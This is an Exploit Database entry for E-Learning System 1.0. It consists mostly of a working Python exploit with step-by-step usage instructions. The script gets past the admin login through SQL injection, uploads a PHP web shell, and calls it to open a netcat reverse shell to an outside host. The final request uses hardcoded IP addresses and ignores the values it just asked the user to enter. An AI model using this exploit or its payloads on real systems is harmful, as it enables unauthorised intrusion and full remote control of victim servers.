E-Learning System 1.0 – Authentication Bypass

Exploit Database
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作者： Himanshu Shukla

日期： 2021-01-15
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49434/

# Exploit Title: E-Learning System 1.0 - Authentication Bypass & RCE

# Exploit Author: Himanshu Shukla & Saurav Shukla

# Date: 2021-01-15

# Vendor Homepage: https://www.sourcecodester.com/php/12808/e-learning-system-using-phpmysqli.html

# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/caiwl.zip

# Version: 1.0

# Tested On: Kali Linux + XAMPP 7.4.4

# Description: E-Learning System 1.0 - Authentication Bypass Via SQL Injection + Remote Code Execution

#Step 1: run the exploit in python with this command: python3 exploit.py

#Step 2: Input the URL of the vulnerable application: Example: http://10.10.10.23/caiwl/

#Step 3: Input your LHOST where you want the reverse shell: Example: 10.9.192.23

#Step 4: Input your LPORT that is the port where the reverse shell will spawn: Example: 4444

#Step 5: Start a Netcat Listener on the port specified in Step 4 using this command: nc -lnvp 4444

#Step 6: Hit enter on theif your Netcat Listener is ready, and you will get a reverse shell as soon as you hit enter.

import requests

print('########################################################')

print('## E-LEARNING SYSTEM 1.0##')

print('## AUTHENTICATION BYPASS & REMOTE CODE EXECUTION##')

print('########################################################')

print('Author - Himanshu Shukla & Saurav Shukla')

GREEN ='\033[32m' # Green Text

RED ='\033[31m' # Red Text

RESET = '\033[m' # reset to the defaults

#Create a new session

s = requests.Session()

#Set Cookie

cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")

#Authentication Bypass

print("[*]Attempting Authentication Bypass...")

values = {"user_email":"'or 1 or'", "user_pass":"lol","btnLogin":""}

r=s.post(LINK+'admin/login.php', data=values, cookies=cookies)

#Check if Authentication was bypassed or not.

logged_in = True if("You login as Administrator." in r.text) else False

l=logged_in

if l:

print(GREEN+"[+]Authentication Bypass Successful!", RESET)

else:

print(RED+"[-]Failed To Authenticate!", RESET)

#Creating a PHP Web Shell

phpshell= {

'file':

(

'shell.php',

'<?php echo shell_exec($_REQUEST["cmd"]); ?>',

'application/x-php',

{'Content-Disposition': 'form-data'}

)

}

# Defining value for form data

data = {'LessonChapter':'test', 'LessonTitle':'test','Category':'Docs','save':''}

#Uploading Reverse Shell

print("[*]Uploading PHP Shell For RCE...")

upload = s.post(LINK+'/admin/modules/lesson/controller.php?action=add', cookies=cookies, files=phpshell, data=data, verify=False)

shell_upload = True if("window.location='index.php'" in upload.text) else False

u=shell_upload

if u:

print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)

else:

print(RED+"[-]Failed To Upload The PHP Shell!", RESET)

print("[*]Please Input Reverse Shell Details")

LHOST=input("[*]LHOST : ")

LPORT=input("[*]LPORT : ")

print('[*]Start Your Netcat Listener With This Command : nc -lvnp '+LPORT)

input('[*]Hit Enter if your netcat shell is ready. ')

print('[+]Deploying The Web Shell...')

#Executing The Webshell

e=s.get('http://192.168.1.5/caiwl/admin/modules/lesson/files/shell.php?cmd=nc 192.168.1.2 9999 -e /bin/bash', cookies=cookies)

exit()